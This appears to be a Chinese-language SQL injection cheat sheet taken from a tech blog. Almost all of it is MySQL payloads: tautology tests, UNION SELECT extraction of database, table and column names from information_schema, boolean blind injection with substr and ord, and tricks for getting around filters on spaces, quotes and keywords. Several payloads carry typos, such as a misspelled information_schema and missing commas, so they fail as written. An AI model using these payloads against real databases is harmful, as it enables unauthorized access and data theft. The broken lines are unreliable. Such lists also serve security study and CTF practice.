测试:
代码语言:javascript复制# 恒假式
1' and 1=2#
# 恒真式:
1' or 1=1#
# 判断字段数:
1' order by 1.2.3.....#
函数:
代码语言:javascript复制# 数据库
database()
# MYSQL版本
version()
# 用户
user()
# 用法:1' union select database(), 2,3#
普通注入:
代码语言:javascript复制# 爆库
1' union select database(),...#
# 读第二个表名
1' union select table_name from information_schema.tables where table_schema='库名' limit 1, 1#
# 读第二个字段名
1' union select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit1,1#
# 读第二个字段数据
1' union select 字段名 from 库名.表名 limit 1,1#
布尔盲注:
代码语言:javascript复制# 爆库长度
1' and length(database())>=3#
# 爆库名第一个字母
1' and substr(database(), 1, 1) = 'a' #
1' and ord(substr(database(), 1, 1)) = 97#
# 爆第一个表名的第一个字母
1, and substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)='a'#
1, and ord(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))=97#
# 爆第一个字段名的第一个字母
1' and substr((select column_name from infomation_schema.columns where table_schema='库名' and table_name='表名' limit0,1)1,1)='a'#
1' and ord(substr((select column_name from infomation_schema.columns where table_schema='库名' and table_name='表名' limit0,1)1,1))=97#
# 爆第一个字段的第一个字母
1' and substr((select 字段名 from 库名.表名 limit 0,1),1,1)='a'#
1' and ord(substr((select 字段名 from 库名.表名 limit 0,1),1,1))=97#
过滤空格:
代码语言:javascript复制# 用注释代替空格
/**/
# 其他字符代替空格
� TAB键
# 括号绕过,任何可以计算出结果的语句,都可以用括号包围起来。
过滤引号:
代码语言:javascript复制# 用16进制绕过,将引号内的字符用16进制表示(0x...),省略引号
过滤and:
代码语言:javascript复制&&
过滤or:
代码语言:javascript复制||
过滤=:
代码语言:javascript复制like
其他绕过:
- 大小写绕过
- 内联注释绕过
- 双关键字绕过
- 编码绕过
- 反引号`绕过